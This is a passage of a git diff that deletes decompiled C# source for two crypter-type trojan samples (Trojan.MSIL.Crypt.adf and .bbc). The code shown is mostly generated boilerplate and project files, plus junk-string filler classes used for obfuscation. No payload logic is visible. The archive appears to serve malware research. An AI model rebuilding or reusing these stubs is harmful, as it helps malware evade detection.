MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [DebuggerNonUserCode] - static MyProject() - { - } - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyForms - { - public Form1 m_Form1; - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - public Form1 Form1 - { - [DebuggerNonUserCode] get - { - this.m_Form1 = MyProject.MyForms.Create__Instance__(this.m_Form1); - return this.m_Form1; - } - [DebuggerNonUserCode] set - { - if (value == this.m_Form1) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_Form1); - } - } - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119/My/MySettings.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119/My/MySettings.cs deleted file mode 100644 index 3626bbe4..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119/My/MySettings.cs +++ /dev/null @@ -1,73 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: WindowsApplication1.My.MySettings -// Assembly: stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: E0421F62-5803-4AAF-A314-3F2E7ED45014 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119.exe - -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace WindowsApplication1.My -{ - [CompilerGenerated] - [EditorBrowsable(EditorBrowsableState.Advanced)] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - private static bool addedHandler; - private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - [DebuggerNonUserCode] - [EditorBrowsable(EditorBrowsableState.Advanced)] - private static void AutoSaveSettings(object sender, EventArgs e) - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - } - - public static MySettings Default - { - get - { - if (!MySettings.addedHandler) - { - object handlerLockObject = MySettings.addedHandlerLockObject; - ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject); - Monitor.Enter(handlerLockObject); - try - { - if (!MySettings.addedHandler) - { - MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - }); - MySettings.addedHandler = true; - } - } - finally - { - Monitor.Exit(handlerLockObject); - } - } - return MySettings.defaultInstance; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119/My/MySettingsProperty.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119/My/MySettingsProperty.cs deleted file mode 100644 index d8e4eb4e..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119/My/MySettingsProperty.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: WindowsApplication1.My.MySettingsProperty -// Assembly: stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: E0421F62-5803-4AAF-A314-3F2E7ED45014 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace WindowsApplication1.My -{ - [StandardModule] - [DebuggerNonUserCode] - [HideModuleName] - [CompilerGenerated] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings => MySettings.Default; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119/My/Resources/Resources.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119/My/Resources/Resources.cs deleted file mode 100644 index 887fc545..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119/My/Resources/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: WindowsApplication1.My.Resources.Resources -// Assembly: stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: E0421F62-5803-4AAF-A314-3F2E7ED45014 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace WindowsApplication1.My.Resources -{ - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [StandardModule] - [CompilerGenerated] - [DebuggerNonUserCode] - [HideModuleName] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) WindowsApplication1.My.Resources.Resources.resourceMan, (object) null)) - WindowsApplication1.My.Resources.Resources.resourceMan = new ResourceManager("WindowsApplication1.Resources", typeof (WindowsApplication1.My.Resources.Resources).Assembly); - return WindowsApplication1.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => WindowsApplication1.My.Resources.Resources.resourceCulture; - set => WindowsApplication1.My.Resources.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119/Resources.resx b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119/Trojan.MSIL.Crypt.adf.csproj b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119/Trojan.MSIL.Crypt.adf.csproj deleted file mode 100644 index b5ef161b..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119/Trojan.MSIL.Crypt.adf.csproj +++ /dev/null @@ -1,53 +0,0 @@ - - - - - Debug - AnyCPU - {163FD512-2E7F-46AB-B7FC-0B557DB928EE} - WinExe - stub - 1.0.0.0 - WindowsApplication1 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119/Trojan.MSIL.Crypt.adf.sln b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119/Trojan.MSIL.Crypt.adf.sln deleted file mode 100644 index 279f65d7..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119/Trojan.MSIL.Crypt.adf.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "stub", "Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119.csproj", "{163FD512-2E7F-46AB-B7FC-0B557DB928EE}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {163FD512-2E7F-46AB-B7FC-0B557DB928EE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {163FD512-2E7F-46AB-B7FC-0B557DB928EE}.Debug|Any CPU.Build.0 = Debug|Any CPU - {163FD512-2E7F-46AB-B7FC-0B557DB928EE}.Release|Any CPU.ActiveCfg = Release|Any CPU - {163FD512-2E7F-46AB-B7FC-0B557DB928EE}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/AssemblyInfo.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/AssemblyInfo.cs deleted file mode 100644 index 8f9c6378..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/AssemblyInfo.cs +++ /dev/null @@ -1,11 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyCopyright("Copyright")] -[assembly: AssemblyDescription("Description")] -[assembly: AssemblyTrademark("Trademark")] -[assembly: AssemblyTitle("Title")] -[assembly: Guid("c39bc84d-4a07-472e-b030-7a7b47bb52b3")] -[assembly: AssemblyProduct("Product")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/My/MyApplication.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/My/MyApplication.cs deleted file mode 100644 index 34ebc2c0..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 035F9F59-E73D-4DD8-BC60-AB1A357F2FCA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/My/MyComputer.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/My/MyComputer.cs deleted file mode 100644 index 2cc0f8c7..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 035F9F59-E73D-4DD8-BC60-AB1A357F2FCA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/My/MyProject.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/My/MyProject.cs deleted file mode 100644 index d70a93b1..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/My/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 035F9F59-E73D-4DD8-BC60-AB1A357F2FCA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/Trojan.MSIL.Crypt.bbc.csproj b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/Trojan.MSIL.Crypt.bbc.csproj deleted file mode 100644 index e41564e8..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/Trojan.MSIL.Crypt.bbc.csproj +++ /dev/null @@ -1,50 +0,0 @@ - - - - - Debug - AnyCPU - {C6267EB2-7B80-4C06-9AA6-1E506F40D7A5} - WinExe - Server - 1.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/Trojan.MSIL.Crypt.bbc.sln b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/Trojan.MSIL.Crypt.bbc.sln deleted file mode 100644 index f79dd7e1..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/Trojan.MSIL.Crypt.bbc.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Server", "Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6.csproj", "{C6267EB2-7B80-4C06-9AA6-1E506F40D7A5}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {C6267EB2-7B80-4C06-9AA6-1E506F40D7A5}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {C6267EB2-7B80-4C06-9AA6-1E506F40D7A5}.Debug|Any CPU.Build.0 = Debug|Any CPU - {C6267EB2-7B80-4C06-9AA6-1E506F40D7A5}.Release|Any CPU.ActiveCfg = Release|Any CPU - {C6267EB2-7B80-4C06-9AA6-1E506F40D7A5}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/afwwfafwafawfwa.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/afwwfafwafawfwa.cs deleted file mode 100644 index 9a9cd9c8..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/afwwfafwafawfwa.cs +++ /dev/null @@ -1,76 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: afwwfafwafawfwa -// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 035F9F59-E73D-4DD8-BC60-AB1A357F2FCA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6.exe - -using Microsoft.VisualBasic.CompilerServices; -using System.Collections; - -[StandardModule] -internal sealed class afwwfafwafawfwa -{ - public static void gagawgawgwa() - { - ArrayList arrayList = new ArrayList() - { - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa" - }; - } - - public static void eleven() - { - ArrayList arrayList = new ArrayList() - { - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa" - }; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/agawhhwahwwhwh.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/agawhhwahwwhwh.cs deleted file mode 100644 index 999ef6aa..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/agawhhwahwwhwh.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: agawhhwahwwhwh -// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 035F9F59-E73D-4DD8-BC60-AB1A357F2FCA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6.exe - -using 